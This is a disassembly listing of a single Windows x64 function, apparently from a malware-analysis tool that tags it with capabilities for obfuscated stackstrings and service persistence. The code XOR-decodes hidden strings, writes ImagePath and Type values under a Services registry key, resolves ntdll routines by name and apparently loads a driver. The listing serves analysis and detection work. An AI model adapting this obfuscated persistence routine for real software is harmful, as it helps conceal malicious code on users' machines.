Function at 0x14000ba80
Capabilities:
Contain obfuscated stackstrings
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140033040]
xor rax, rsp
mov qword [rbp + 0x118], rax
mov rbx, rcx
lea rcx, [rbp + 0xe8]
call fcn.140005930
nop
mov edx, 6
mov dword [rsp + 0x60], 0x550006
mov dword [rsp + 0x64], 0x55005f
mov dword [rsp + 0x68], 0x430052
mov dword [rsp + 0x6c], 0x5a004b
mov dword [rsp + 0x70], 0x730045
mov dword [rsp + 0x74], 0x740074
mov dword [rsp + 0x78], 0x680063
mov dword [rsp + 0x7c], 0x450072
mov dword [rbp - 0x80], 0x680069
mov dword [rbp - 0x7c], 0x740072
mov dword [rbp - 0x78], 0x6a0069
mov dword [rbp - 0x74], 0x630055
mov dword [rbp - 0x70], 0x5a0072
mov dword [rbp - 0x6c], 0x630055
mov dword [rbp - 0x68], 0x700074
mov dword [rbp - 0x64], 0x65006f
mov dword [rbp - 0x60], 0x750063
mov dword [rbp - 0x5c], 0x6005a
movzx eax, word [0x14002ef76]
xor ax, dx
mov word [rbp - 0x58], ax
movzx eax, word [str.___]
xor ax, dx
mov word [rbp - 0x56], ax
movzx eax, word [0x14002ef7a]
xor ax, dx
mov word [rbp - 0x54], ax
movzx eax, word [0x14002ef7c]
xor ax, dx
mov word [rbp - 0x52], ax
movzx eax, word [0x14002ef7e]
xor ax, dx
mov word [rbp - 0x50], ax
movzx eax, word [0x14002ef80]
xor ax, dx
mov word [rbp - 0x4e], ax
movzx eax, word [0x14002ef82]
xor ax, dx
mov word [rbp - 0x4c], ax
movzx eax, word [0x14002ef84]
xor ax, dx
mov word [rbp - 0x4a], ax
movzx eax, word [0x14002ef86]
xor ax, dx
mov word [rbp - 0x48], ax
movzx eax, word [str.ImagePath]
xor ax, dx
mov word [rbp - 0x46], ax
movzx eax, word [0x14002ef8a]
xor ax, dx
mov word [rbp - 0x44], ax
movzx eax, word [0x14002ef8c]
xor ax, dx
mov word [rbp - 0x42], ax
movzx eax, word [0x14002ef8e]
xor ax, dx
mov word [rbp - 0x40], ax
movzx eax, word [0x14002ef90]
xor ax, dx
mov word [rbp - 0x3e], ax
movzx eax, word [0x14002ef92]
xor ax, dx
mov word [rbp - 0x3c], ax
movzx eax, word [0x14002ef94]
xor ax, dx
mov word [rbp - 0x3a], ax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
xor ax, dx
mov word [rbp - 0x38], ax
movzx eax, word [0x14002ef98]
xor ax, dx
mov word [rbp - 0x36], ax
movzx eax, word [0x14002ef9a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002ef9c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002ef9e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [str.Type]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002efa2]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x14002efa4]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002efa6]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002efa8]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x14002efaa]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002efac]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [0x14002efae]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002efb2]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002efb4]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002efb6]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002efb8]
xor ax, dx
mov word [rbp - 0x16], ax
xor eax, eax
mov word [rbp - 0x14], ax
xor esi, esi
mov ecx, esi
nop dword [rax]
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
add rcx, 0x17
cmp rcx, 0x45
jae 0x14000be35
movzx edx, word [rsp + 0x60]
jmp 0x14000bd40
mov word [rbp - 0x14], si
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xc8]
call fcn.14000b900
nop
mov r8, rbx
lea rdx, str.___
lea rcx, [rbp + 0x88]
call fcn.14000b900
nop
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x78]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000c8fd
mov eax, dword [rbp + 0x98]
add eax, eax
mov dword [rbp + 0x6c], eax
lea rax, [rbp + 0x88]
cmp qword [rbp + 0xa0], 7
cmova rax, qword [rbp + 0x88]
mov qword [rbp + 0x70], rax
mov ecx, 0x6b
mov dword [rbp + 0x40], ecx
mov word [rsp + 0x30], cx
mov edx, 0xa
mov word [rbp + 0x68], dx
lea ebx, [rcx - 0x5d]
lea r12d, [rcx - 0x30]
movzx edi, dx
lea r13d, [rcx - 0x4c]
movzx esi, cx
movzx eax, word [0x14002ef9c]
xor ax, cx
mov word [rbp + 0x6a], ax
movzx r14d, word [0x14002ef9e]
xor r14w, cx
movzx r11d, word [str.Type]
xor r11w, cx
movzx r10d, word [0x14002efa2]
xor r10w, cx
movzx r9d, word [0x14002efa4]
xor r9w, cx
movzx r8d, word [0x14002efa6]
xor r8w, cx
movzx edx, word [0x14002efa8]
xor dx, cx
movzx ecx, word [0x14002efaa]
xor cx, si
movzx eax, word [0x14002efac]
xor ax, si
mov r15d, 0x22
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x32], r15w
mov r15d, 6
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x34], r15w
movzx r15d, di
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x36], r15w
mov r15d, recv
xor r15w, word [rbp + 0x40]
mov word [rsp + 0x38], r15w
mov r15d, 0x6b
xor bx, r15w
mov word [rsp + 0x3a], bx
xor r12w, r15w
mov word [rsp + 0x3c], r12w
xor di, r15w
mov word [rsp + 0x3e], di
xor r13w, r15w
mov word [rsp + 0x40], r13w
mov ebx, 3
xor bx, r15w
mov word [rsp + 0x42], bx
xor si, r15w
mov word [rsp + 0x44], si
movzx ebx, word [rbp + 0x6a]
xor bx, r15w
mov word [rsp + 0x46], bx
xor r14w, r15w
mov word [rsp + 0x48], r14w
xor r11w, r15w
mov word [rsp + 0x4a], r11w
xor r10w, r15w
mov word [rsp + 0x4c], r10w
xor r9w, r15w
mov word [rsp + 0x4e], r9w
xor r8w, r15w
mov word [rsp + 0x50], r8w
xor dx, r15w
mov word [rsp + 0x52], dx
xor cx, r15w
mov word [rsp + 0x54], cx
xor ax, r15w
mov word [rsp + 0x56], ax
xor esi, esi
mov word [rsp + 0x58], si
mov eax, dword [rbp + 0x6c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea r9d, [r15 - 0x69]
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
je 0x14000c06c
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c8fd
mov word [rsp + 0x30], r15w
mov r9d, 0x3f
lea r10d, [r9 - 0x2d]
lea r11d, [r9 - 0x24]
movzx edx, r15w
movzx ebx, word [0x14002efaa]
xor bx, r15w
movzx r8d, word [0x14002efac]
xor r8w, r15w
movzx ecx, word [0x14002efae]
xor cx, r15w
movzx eax, word [str.RegistryMachineSystemCurrentControlSetServices_]
xor ax, r15w
xor r9w, r15w
mov word [rsp + 0x32], r9w
xor r10w, r15w
mov word [rsp + 0x34], r10w
xor r11w, r15w
mov word [rsp + 0x36], r11w
mov r9d, send
xor r9w, r15w
mov word [rsp + 0x38], r9w
xor dx, r15w
mov word [rsp + 0x3a], dx
xor bx, r15w
mov word [rsp + 0x3c], bx
xor r8w, r15w
mov word [rsp + 0x3e], r8w
xor cx, r15w
mov word [rsp + 0x40], cx
xor ax, r15w
mov word [rsp + 0x42], ax
mov word [rsp + 0x44], si
mov dword [rsp + 0x28], 4
lea rax, [0x14002ef20]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x32]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x78]
test eax, eax
je 0x14000c150
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14000c8fd
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [rbp + 0x48], 0x54
mov al, 0x3a
mov cl, 0x20
mov dl, 0x30
mov r8b, 0x38
movzx r9d, r8b
mov r10b, 0x7a
movzx r11d, dl
movzx ebx, r8b
movzx edi, r8b
xor al, 0x54
mov byte [rbp + 0x49], al
xor cl, 0x54
mov byte [rbp + 0x4a], cl
xor dl, 0x54
mov byte [rbp + 0x4b], dl
xor r8b, 0x54
mov byte [rbp + 0x4c], r8b
xor r9b, 0x54
mov byte [rbp + 0x4d], r9b
xor r10b, 0x54
mov byte [rbp + 0x4e], r10b
xor r11b, 0x54
mov byte [rbp + 0x4f], r11b
xor bl, 0x54
mov byte [rbp + 0x50], bl
xor dil, 0x54
mov byte [rbp + 0x51], dil
mov byte [rbp + 0x52], sil
lea rcx, [rbp + 0x49]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov qword [rbp + 0x70], rax
test rax, rax
je 0x14000c8fd
movdqa xmm1, xmmword [0x14002f030]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 7
mov r8b, 5
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
mov byte [rsp + 0x43], sil
lea rdx, [rsp + 0x31]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp + 0x58], 0x47
mov cl, 9
mov dl, 0x33
mov r8b, reloc.WS2_32.dll_inet_addr
mov r9b, 0x28
mov r10b, 0x26
mov r11b, 0x23
mov bl, 3
mov dil, 0x35
mov sil, 0x2e
mov r14b, 0x31
mov r15b, 0x22
movzx r12d, dil
xor eax, eax
xor cl, 0x47
mov byte [rbp + 0x59], cl
xor dl, 0x47
mov byte [rbp + 0x5a], dl
xor r8b, 0x47
mov byte [rbp + 0x5b], r8b
xor r9b, 0x47
mov byte [rbp + 0x5c], r9b
xor r10b, 0x47
mov byte [rbp + 0x5d], r10b
xor r11b, 0x47
mov byte [rbp + 0x5e], r11b
xor bl, 0x47
mov byte [rbp + 0x5f], bl
xor dil, 0x47
mov byte [rbp + 0x60], dil
xor sil, 0x47
mov byte [rbp + 0x61], sil
xor r14b, 0x47
mov byte [rbp + 0x62], r14b
xor r15b, 0x47
mov byte [rbp + 0x63], r15b
xor r12b, 0x47
mov byte [rbp + 0x64], r12b
mov byte [rbp + 0x65], al
lea rdx, [rbp + 0x59]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp + 0x80]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call r13
test eax, eax
js 0x14000c8fb
mov edx, 0x26
mov dword [rsp + 0x60], 0x7a0026
mov dword [rsp + 0x64], 0x430074
mov dword [rsp + 0x68], 0x4f0041
mov dword [rsp + 0x6c], 0x520055
mov dword [rsp + 0x70], 0x5f0054
mov dword [rsp + 0x74], 0x6b007a
mov dword [rsp + 0x78], 0x450047
mov dword [rsp + 0x7c], 0x4f004e
mov dword [rbp - 0x80], 0x430048
mov dword [rbp - 0x7c], 0x75007a
mov dword [rbp - 0x78], 0x55005f
mov dword [rbp - 0x74], 0x430052
mov dword [rbp - 0x70], 0x7a004b
mov dword [rbp - 0x6c], 0x530065
mov dword [rbp - 0x68], 0x540054
mov dword [rbp - 0x64], 0x480043
mov dword [rbp - 0x60], 0x650052
mov dword [rbp - 0x5c], 0x480049
mov dword [rbp - 0x58], 0x540052
mov dword [rbp - 0x54], 0x4a0049
mov dword [rbp - 0x50], 0x430075
mov dword [rbp - 0x4c], 0x7a0052
mov dword [rbp - 0x48], 0x430075
mov dword [rbp - 0x44], 0x500054
mov dword [rbp - 0x40], 0x45004f
mov dword [rbp - 0x3c], 0x550043
mov dword [rbp - 0x38], 0x26007a
movzx eax, word [0x14002f01a]
xor ax, dx
mov word [rbp - 0x34], ax
movzx eax, word [0x14002f01c]
xor ax, dx
mov word [rbp - 0x32], ax
movzx eax, word [0x14002f01e]
xor ax, dx
mov word [rbp - 0x30], ax
movzx eax, word [0x14002f020]
xor ax, dx
mov word [rbp - 0x2e], ax
movzx eax, word [0x14002f022]
xor ax, dx
mov word [rbp - 0x2c], ax
movzx eax, word [0x14002f024]
xor ax, dx
mov word [rbp - 0x2a], ax
movzx eax, word [0x14002f026]
xor ax, dx
mov word [rbp - 0x28], ax
movzx eax, word [0x14002f028]
xor ax, dx
mov word [rbp - 0x26], ax
movzx eax, word [0x14002f02a]
xor ax, dx
mov word [rbp - 0x24], ax
movzx eax, word [0x14002f02c]
xor ax, dx
mov word [rbp - 0x22], ax
movzx eax, word [reloc.WS2_32.dll_send]
xor ax, dx
mov word [rbp - 0x20], ax
movzx eax, word [0x14002f030]
xor ax, dx
mov word [rbp - 0x1e], ax
movzx eax, word [0x14002f032]
xor ax, dx
mov word [rbp - 0x1c], ax
movzx eax, word [0x14002f034]
xor ax, dx
mov word [rbp - 0x1a], ax
movzx eax, word [0x14002f036]
xor ax, dx
mov word [rbp - 0x18], ax
movzx eax, word [0x14002f038]
xor ax, dx
mov word [rbp - 0x16], ax
movzx eax, word [0x14002f03a]
xor ax, dx
mov word [rbp - 0x14], ax
movzx eax, word [0x14002f03c]
xor ax, dx
mov word [rbp - 0x12], ax
movzx eax, word [0x14002f03e]
xor ax, dx
mov word [rbp - 0x10], ax
movzx eax, word [0x14002f040]
xor ax, dx
mov word [rbp - 0xe], ax
movzx eax, word [0x14002f042]
xor ax, dx
mov word [rbp - 0xc], ax
movzx eax, word [0x14002f044]
xor ax, dx
mov word [rbp - 0xa], ax
movzx eax, word [0x14002f046]
xor ax, dx
mov word [rbp - 8], ax
movzx eax, word [vtable.type_info.0]
xor ax, dx
mov word [rbp - 6], ax
movzx eax, word [0x14002f04a]
xor ax, dx
mov word [rbp - 4], ax
movzx eax, word [0x14002f04c]
xor ax, dx
mov word [rbp - 2], ax
movzx eax, word [0x14002f04e]
xor ax, dx
mov word [rbp], ax
movzx eax, word [0x14002f050]
xor ax, dx
mov word [rbp + 2], ax
movzx eax, word [0x14002f052]
xor ax, dx
mov word [rbp + 4], ax
movzx eax, word [0x14002f054]
xor ax, dx
mov word [rbp + 6], ax
movzx eax, word [0x14002f056]
xor ax, dx
mov word [rbp + 8], ax
movzx eax, word [0x14002f058]
xor ax, dx
mov word [rbp + 0xa], ax
movzx eax, word [0x14002f05a]
xor ax, dx
mov word [rbp + 0xc], ax
movzx eax, word [0x14002f05c]
xor ax, dx
mov word [rbp + 0xe], ax
movzx eax, word [0x14002f05e]
xor ax, dx
mov word [rbp + 0x10], ax
movzx eax, word [0x14002f060]
xor ax, dx
mov word [rbp + 0x12], ax
movzx eax, word [0x14002f062]
xor ax, dx
mov word [rbp + 0x14], ax
movzx eax, word [0x14002f064]
xor ax, dx
mov word [rbp + 0x16], ax
movzx eax, word [0x14002f066]
xor ax, dx
mov word [rbp + 0x18], ax
movzx eax, word [0x14002f068]
xor ax, dx
mov word [rbp + 0x1a], ax
movzx eax, word [0x14002f06a]
xor ax, dx
mov word [rbp + 0x1c], ax
movzx eax, word [0x14002f06c]
xor ax, dx
mov word [rbp + 0x1e], ax
movzx eax, word [0x14002f06e]
xor ax, dx
mov word [rbp + 0x20], ax
movzx eax, word [str.bad_allocation]
xor ax, dx
mov word [rbp + 0x22], ax
movzx eax, word [0x14002f072]
xor ax, dx
mov word [rbp + 0x24], ax
movzx eax, word [0x14002f074]
xor ax, dx
mov word [rbp + 0x26], ax
movzx eax, word [0x14002f076]
xor ax, dx
mov word [rbp + 0x28], ax
movzx eax, word [0x14002f078]
xor ax, dx
mov word [rbp + 0x2a], ax
movzx eax, word [0x14002f07a]
xor ax, dx
mov word [rbp + 0x2c], ax
movzx eax, word [0x14002f07c]
xor ax, dx
mov word [rbp + 0x2e], ax
movzx eax, word [0x14002f07e]
xor ax, dx
mov word [rbp + 0x30], ax
movzx eax, word [0x14002f080]
xor ax, dx
mov word [rbp + 0x32], ax
xor eax, eax
mov word [rbp + 0x34], ax
xor esi, esi
mov ecx, esi
nop dword [rax]
nop word [rax + rax]
xor word [rsp + rcx*2 + 0x62], dx
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rsp + rcx*2 + 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x80], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x7a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x78], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x76], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x74], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x72], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x70], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x6a], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x68], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x66], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x64], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x62], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x60], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5e], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5c], ax
movzx eax, word [rsp + 0x60]
xor word [rbp + rcx*2 - 0x5a], ax
add rcx, 0x23
cmp rcx, 0x69
jae 0x14000c83d
movzx edx, word [rsp + 0x60]
jmp 0x14000c6d0
mov word [rbp + 0x34], si
lea r8, [rbp + 0xe8]
lea rdx, [rsp + 0x62]
lea rcx, [rbp + 0xa8]
call fcn.14000b900
nop
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 7
cmova rdx, qword [rbp + 0xa8]
lea rcx, [rbp + 0x108]
call sub.ntdll.dll_RtlInitUnicodeString
lea rcx, [rbp + 0x108]
call rbx
mov ebx, eax
cmp eax, 0xc000010e
jne 0x14000c893
mov bl, 1
jmp 0x14000c899
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0xc0]
cmp rdx, 7
jbe 0x14000c8e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c8dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de84
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xb8], xmm0
mov word [rbp + 0xa8], si
jmp 0x14000c8ff
xor esi, esi
xor bl, bl
mov rdx, qword [rbp + 0xa0]
cmp rdx, 7
jbe 0x14000c948
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c943
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c943
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de84
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], si
mov rdx, qword [rbp + 0xe0]
cmp rdx, 7
jbe 0x14000c9a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c9a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c9a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de84
movdqa xmm0, xmmword [0x14002ee10]
movdqu xmmword [rbp + 0xd8], xmm0
mov word [rbp + 0xc8], si
mov rdx, qword [rbp + 0x100]
cmp rdx, 7
jbe 0x14000ca08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ca03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ca03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de84
movzx eax, bl
mov rcx, qword [rbp + 0x118]
xor rcx, rsp
call fcn.14000e120
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret